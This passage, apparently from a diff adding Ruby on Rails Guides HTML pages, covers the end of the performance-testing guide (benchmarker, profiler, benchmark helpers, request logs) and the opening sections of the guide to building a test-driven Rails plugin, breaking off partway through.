+<p><tt>benchmarker</tt> is a wrapper around Ruby&#8217;s <a href="http://ruby-doc.org/core/classes/Benchmark.html">Benchmark</a> standard library.</p>
+<p>Usage:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
+</pre>
+</div>
+</notextile>
+
+<p>Examples:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails benchmarker 10 'Item.all' 'CouchItem.all'
+</pre>
+</div>
+</notextile>
+
+<p>If the <tt>[times]</tt> argument is omitted, supplied methods are run just once:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails benchmarker 'Item.first' 'Item.last'
+</pre>
+</div>
+</notextile>
+
+<h4 id="profiler">2.2 <tt>profiler</tt></h4>
+<p><tt>profiler</tt> is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem.</p>
+<p>Usage:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
+</pre>
+</div>
+</notextile>
+
+<p>Examples:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails profiler 'Item.all'
+</pre>
+</div>
+</notextile>
+
+<p>This will profile <tt>Item.all</tt> in <tt>RubyProf::WALL_TIME</tt> measure mode. By default, it prints flat output to the shell.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails profiler 'Item.all' 10 graph
+</pre>
+</div>
+</notextile>
+
+<p>This will profile <tt>10.times { Item.all }</tt> with <tt>RubyProf::WALL_TIME</tt> measure mode and print graph output to the shell.</p>
+<p>If you want to store the output in a file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails profiler 'Item.all' 10 graph 2&gt; graph.txt
+</pre>
+</div>
+</notextile>
+
+<h3 id="helper-methods">3 Helper Methods</h3>
+<p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called <tt>benchmark()</tt> in all the three components.</p>
+<h4 id="model">3.1 Model</h4>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Project.benchmark(&quot;Creating project&quot;) do
+  project = Project.create(&quot;name&quot; =&gt; &quot;stuff&quot;)
+  project.create_manager(&quot;name&quot; =&gt; &quot;David&quot;)
+  project.milestones &lt;&lt; Milestone.find(:all)
+end
+</pre>
+</div>
+</notextile>
+
+<p>This benchmarks the code enclosed in the <tt>Project.benchmark("Creating project") do...end</tt> block and prints the result to the log file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Creating project (185.3ms)
+</pre>
+</div>
+</notextile>
+
+<p>Please refer to the <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336"><span class="caps">API</span> docs</a> for additional options to <tt>benchmark()</tt></p>
+<h4 id="controller">3.2 Controller</h4>
+<p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def process_projects
+  self.class.benchmark(&quot;Processing projects&quot;) do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p><tt>benchmark</tt> is a class method inside controllers</p></div>
+<h4 id="view">3.3 View</h4>
+<p>And in <a href="http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% benchmark(&quot;Showing projects partial&quot;) do %&gt;
+  &lt;%= render :partial =&gt; @projects %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<h3 id="request-logging">4 Request Logging</h3>
+<p>Rails log files contain very useful information about the time taken to serve each request. Here&#8217;s a typical log file entry:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</pre>
+</div>
+</notextile>
+
+<p>For this section, we&#8217;re only interested in the last line:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</pre>
+</div>
+</notextile>
+
+<p>This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It&#8217;s safe to assume that the remaining 3 ms were spent inside the controller.</p>
+<p>Michael Koziarski has an <a href="http://www.therailsway.com/2009/1/6/requests-per-second">interesting blog post</a> explaining the importance of using milliseconds as the metric.</p>
+<h3 id="useful-links">5 Useful Links</h3>
+<h4 id="rails-plugins-and-gems">5.1 Rails Plugins and Gems</h4>
+<ul>
+	<li><a href="http://rails-analyzer.rubyforge.org">Rails Analyzer</a></li>
+	<li><a href="http://www.flyingmachinestudios.com/projects/">Palmist</a></li>
+	<li><a href="http://github.com/josevalim/rails-footnotes/tree/master">Rails Footnotes</a></li>
+	<li><a href="http://github.com/dsboulder/query_reviewer/tree/master">Query Reviewer</a></li>
+</ul>
+<h4 id="generic-tools">5.2 Generic Tools</h4>
+<ul>
+	<li><a href="http://www.hpl.hp.com/research/linux/httperf/">httperf</a></li>
+	<li><a href="http://httpd.apache.org/docs/2.2/programs/ab.html">ab</a></li>
+	<li><a href="http://jakarta.apache.org/jmeter/">JMeter</a></li>
+	<li><a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a></li>
+</ul>
+<h4 id="tutorials-and-documentation">5.3 Tutorials and Documentation</h4>
+<ul>
+	<li><a href="http://ruby-prof.rubyforge.org">ruby-prof <span class="caps">API</span> Documentation</a></li>
+	<li><a href="http://railscasts.com/episodes/98-request-profiling">Request Profiling Railscast</a> &#8211; Outdated, but useful for understanding call graphs</li>
+</ul>
+<h3 id="commercial-products">6 Commercial Products</h3>
+<p>Rails has been lucky to have two startups dedicated to Rails specific performance tools:</p>
+<ul>
+	<li><a href="http://www.newrelic.com">New Relic</a></li>
+	<li><a href="http://scoutapp.com">Scout</a></li>
+</ul>
+<h3 id="changelog">7 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p>
+<ul>
+	<li>January 9, 2009: Complete rewrite by <a href="credits.html#lifo">Pratik</a></li>
+	<li>September 6, 2008: Initial version by Matthew Bergman</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/plugins.html
@@ -0,0 +1,1837 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: The Basics of Creating Rails Plugins</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>The Basics of Creating Rails Plugins</h2>
+<p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p>
+<ul>
+	<li>a way for developers to share bleeding-edge ideas without hurting the stable code base</li>
+	<li>a segmented architecture so that units of code can be fixed or updated on their own release schedule</li>
+	<li>an outlet for the core developers so that they donโ€™t have to include every cool new feature under the sun</li>
+</ul>
+<p>After reading this guide you should be familiar with:</p>
+<ul>
+	<li>Creating a plugin from scratch</li>
+	<li>Writing and running tests for the plugin</li>
+	<li>Storing models, views, controllers, helpers and even other plugins in your plugins</li>
+	<li>Writing generators</li>
+	<li>Writing custom Rake tasks in your plugin</li>
+	<li>Generating RDoc documentation for your plugin</li>
+	<li>Avoiding common pitfalls with &#8216;init.rb&#8217;</li>
+</ul>
+<p>This guide describes how to build a test-driven plugin that will:</p>
+<ul>
+	<li>Extend core ruby classes like Hash and String</li>
+	<li>Add methods to ActiveRecord::Base in the tradition of the &#8216;acts_as&#8217; plugins</li>
+	<li>Add a view helper that can be used in erb templates</li>
+	<li>Add a new generator that will generate a migration</li>
+	<li>Add a custom generator command</li>
+	<li>A custom route method that can be used in routes.rb</li>
+</ul>
+<p>For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#setup">Setup</a><ul><li><a href="#create-the-basic-application">Create the Basic Application</a></li> <li><a href="#generate-the-plugin-skeleton">Generate the Plugin Skeleton</a></li> <li><a href="#organize-your-files">Organize Your Files</a></li></ul></li><li><a href="#tests">Tests</a><ul><li><a href="#test-setup">Test Setup</a></li> <li><a href="#run-the-plugin-tests">Run the Plugin Tests</a></li></ul></li><li><a href="#extending-core-classes">Extending Core Classes</a><ul><li><a href="#working-with-init-rb">Working with <tt>init.rb</tt></a></li></ul></li><li><a href="#add-an-acts_as-method-to-active-record">Add an &#8220;acts_as&#8221; Method to Active Record</a><ul><li><a href="#add-a-class-method">Add a Class Method</a></li> <li><a href="#add-an-instance-method">Add an Instance Method</a></li></ul></li><li><a href="#models">Models</a></li><li><a href="#controllers">Controllers</a></li><li><a href="#helpers">Helpers</a></li><li><a href="#routes">Routes</a></li><li><a href="#generators">Generators</a><ul><li><a href="#testing-generators">Testing Generators</a></li> <li><a href="#the-usage-file">The <tt>USAGE</tt> File</a></li></ul></li><li><a href="#add-a-custom-generator-command">Add a Custom Generator Command</a></li><li><a href="#generator-commands">Generator Commands</a></li><li><a href="#migrations">Migrations</a><ul><li><a href="#create-a-custom-rake-task">Create a Custom Rake Task</a></li> <li><a href="#call-migrations-directly">Call Migrations Directly</a></li> <li><a href="#generate-migrations">Generate Migrations</a></li></ul></li><li><a href="#rake-tasks">Rake tasks</a></li><li><a href="#plugins-as-gems">Plugins as Gems</a></li><li><a href="#rdoc-documentation">RDoc Documentation</a></li><li><a href="#appendix">Appendix</a><ul><li><a href="#references">References</a></li> <li><a href="#contents-of-lib-yaffle-rb">Contents of <tt>lib/yaffle.rb</tt></a></li> <li><a href="#final-plugin-directory-structure">Final Plugin Directory Structure</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="setup">1 Setup</h3>
+<h4 id="create-the-basic-application">1.1 Create the Basic Application</h4>
+<p>The examples in this guide require that you have a working rails application.  To create a simple one execute:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+gem install rails
+rails new yaffle_guide
+cd yaffle_guide
+rails generate scaffold bird name:string
+rake db:migrate
+rails server
+</pre>
+</div>
+</notextile>
+
+<p>Then navigate to http://localhost:3000/birds.  Make sure you have a functioning rails application before continuing.</p>
+<div class='note'><p>The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails application for other databases see the <span class="caps">API</span> docs.</p></div>
+<h4 id="generate-the-plugin-skeleton">1.2 Generate the Plugin Skeleton</h4>
+<p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either &#8216;CamelCased&#8217; or &#8216;under_scored&#8217;, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p>
+<p>This creates a plugin in <tt>vendor/plugins</tt> including an <tt>init.rb</tt> and <tt>README</tt> as well as standard <tt>lib</tt>, <tt>task</tt>, and <tt>test</tt> directories.</p>
+<p>Examples:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate plugin yaffle
+rails generate plugin yaffle --with-generator
+</pre>
+</div>
+</notextile>
+
+<p>To get more detailed help on the plugin generator, type <tt>rails generate plugin</tt>.</p>
+<p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate plugin yaffle --with-generator
+</pre>
+</div>
+</notextile>
+
+<p>You should see the following output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+create  vendor/plugins/yaffle/lib
+create  vendor/plugins/yaffle/tasks
+create  vendor/plugins/yaffle/test
+create  vendor/plugins/yaffle/README
+create  vendor/plugins/yaffle/MIT-LICENSE
+create  vendor/plugins/yaffle/Rakefile
+create  vendor/plugins/yaffle/init.rb
+create  vendor/plugins/yaffle/install.rb
+create  vendor/plugins/yaffle/uninstall.rb
+create  vendor/plugins/yaffle/lib/yaffle.rb
+create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create  vendor/plugins/yaffle/test/core_ext_test.rb
+create  vendor/plugins/yaffle/generators
+create  vendor/plugins/yaffle/generators/yaffle
+create  vendor/plugins/yaffle/generators/yaffle/templates
+create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create  vendor/plugins/yaffle/generators/yaffle/USAGE
+</pre>
+</div>
+</notextile>
+
+<h4 id="organize-your-files">1.3 Organize Your Files</h4>
+<p>To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+|-- lib
+|   |-- yaffle
+|   `-- yaffle.rb
+`-- rails
+    |
+    `-- init.rb
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/init.rb
+
+require 'yaffle'
+</pre>
+</div>
+</notextile>
+
+<p>Now you can add any <tt>require</tt> statements to <tt>lib/yaffle.rb</tt> and keep <tt>init.rb</tt> clean.</p>
+<h3 id="tests">2 Tests</h3>
+<p>In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  To setup your plugin to allow for easy testing you&#8217;ll need to add 3 files:</p>
+<ul>
+	<li>A <tt>database.yml</tt> file with all of your connection strings</li>
+	<li>A <tt>schema.rb</tt> file with your table definitions</li>
+	<li>A test helper method that sets up the database</li>
+</ul>
+<h4 id="test-setup">2.1 Test Setup</h4>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/test/database.yml
+
+sqlite:
+  :adapter: sqlite
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+  :adapter: sqlite3
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+  :adapter: postgresql
+  :username: postgres
+  :password: postgres
+  :database: yaffle_plugin_test
+  :min_messages: ERROR
+
+mysql:
+  :adapter: mysql
+  :host: localhost
+  :username: root
+  :password: password
+  :database: yaffle_plugin_test
+</pre>
+</div>
+</notextile>
+
+<p>For this guide you&#8217;ll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/test/schema.rb
+
+ActiveRecord::Schema.define(:version =&gt; 0) do
+  create_table :hickwalls, :force =&gt; true do |t|
+    t.string :name
+    t.string :last_squawk
+    t.datetime :last_squawked_at
+  end
+  create_table :wickwalls, :force =&gt; true do |t|
+    t.string :name
+    t.string :last_tweet
+    t.datetime :last_tweeted_at
+  end
+  create_table :woodpeckers, :force =&gt; true do |t|
+    t.string :name
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/test/test_helper.rb
+
+ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + &quot;/debug.log&quot;)
+
+  db_adapter = ENV['DB']
+
+  # no db passed, try one of these fine config-free DBs before bombing.
+  db_adapter ||=
+    begin
+      require 'rubygems'
+      require 'sqlite'
+      'sqlite'
+    rescue MissingSourceFile
+      begin
+        require 'sqlite3'
+        'sqlite3'
+      rescue MissingSourceFile
+      end
+    end
+
+  if db_adapter.nil?
+    raise &quot;No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3.&quot;
+  end
+
+  ActiveRecord::Base.establish_connection(config[db_adapter])
+  load(File.dirname(__FILE__) + &quot;/schema.rb&quot;)
+  require File.dirname(__FILE__) + '/../rails/init'
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now whenever you write a test that requires the database, you can call &#8216;load_schema&#8217;.</p>
+<h4 id="run-the-plugin-tests">2.2 Run the Plugin Tests</h4>
+<p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in <tt>vendor/plugins/yaffle/test/yaffle_test.rb</tt> with a sample test. Replace the contents of that file with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/test/yaffle_test.rb
+
+require File.dirname(__FILE__) + '/test_helper'
+
+class YaffleTest &lt; Test::Unit::TestCase
+  load_schema
+
+  class Hickwall &lt; ActiveRecord::Base
+  end
+
+  class Wickwall &lt; ActiveRecord::Base
+  end
+
+  def test_schema_has_loaded_correctly
+    assert_equal [], Hickwall.all
+    assert_equal [], Wickwall.all
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>To run this, go to the plugin directory and run <tt>rake</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+cd vendor/plugins/yaffle
+rake
+</pre>
+</div>
+</notextile>
+
+<p>You should see output like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+/opt/local/bin/ruby -Ilib:lib &quot;/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb&quot; &quot;test/yaffle_test.rb&quot;
+  create_table(:hickwalls, {:force=&gt;true})
+   -&gt; 0.0220s
+-- create_table(:wickwalls, {:force=&gt;true})
+   -&gt; 0.0077s
+-- initialize_schema_migrations_table()
+   -&gt; 0.0007s
+-- assume_migrated_upto_version(0)
+   -&gt; 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+</pre>
+</div>
+</notextile>
+
+<p>By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in <tt>database.yml</tt>, pass the DB environment variable to rake:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+</pre>
+</div>
+</notextile>
+
+<p>Now you are ready to test-drive your plugin!</p>
+<h3 id="extending-core-classes">3 Extending Core Classes</h3>
+<p>This section will explain how to add a method to String that will be available anywhere in your rails application.</p>
+<p>In this example you will add a method to String named <tt>to_squawk</tt>.  To begin, create a new test file with a few assertions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/test/core_ext_test.rb
+
+require File.dirname(__FILE__) + '/test_helper'
+
+class CoreExtTest &lt; Test::Unit::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal &quot;squawk! Hello World&quot;, &quot;Hello World&quot;.to_squawk
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Navigate to your plugin directory and run <tt>rake test</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+cd vendor/plugins/yaffle
+rake test
+</pre>
+</div>
+</notextile>
+
+<p>The test above should fail with the message:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for &quot;Hello World&quot;:String
+    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+</pre>
+</div>
+</notextile>
+
+<p>Great &#8211; now you are ready to start development.</p>
+<p>Then in <tt>lib/yaffle.rb</tt> require <tt>lib/core_ext</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/lib/yaffle.rb
+
+require &quot;yaffle/core_ext&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Finally, create the <tt>core_ext.rb</tt> file and add the <tt>to_squawk</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    &quot;squawk! #{self}&quot;.strip
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory. To see this in action, fire up a console and start squawking:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails console
+&gt;&gt; &quot;Hello World&quot;.to_squawk
+=&gt; &quot;squawk! Hello World&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="working-with-init-rb">3.1 Working with <tt>init.rb</tt></h4>
+<p>When Rails loads plugins it looks for a file named <tt>init.rb</tt>.  However, when the plugin is initialized, <tt>init.rb</tt> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p>
+<div class='note'><p>The plugins loader also looks for <tt>rails/init.rb</tt>, but that one is deprecated in favor of the top-level <tt>init.rb</tt> aforementioned.</p></div>
+<p>Under certain circumstances if you reopen classes or modules in <tt>init.rb</tt> you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p>
+<p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/init.rb
+
+Hash.class_eval do
+  def is_a_special_hash?
+    true
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# vendor/plugins/yaffle/init.rb
+
+class ::Hash
+  def is_a_special_hash?
+    true
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="add-an-acts_as-method-to-active-record">4 Add an &#8220;acts_as&#8221; Method to Active Record</h3>
+<p>A common pattern in plugins is to add a method called &#8216;acts_as_something&#8217; to models.  In this case, you want to write a method called &#8216;acts_as_yaffle&#8217; that adds a &#8216;squawk&#8217; method to your models.</p>
+<p>To begin, set up your files so that you have:</p>
+<ul>
+	<li><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require File.dirname(__FILE__) + '/test_helper'
+
+class ActsAsYaffleTest &lt; Test::Unit::TestCase
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'yaffle/acts_as_yaffle'
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Yaffle
+  # your code will go here
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that after requiring &#8216;acts_as_yaffle&#8217; you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p>
+<p>One of the most common plugin patterns for &#8216;acts_as_yaffle&#8217; plugins is to structure your file like so:</p>
+<ul>
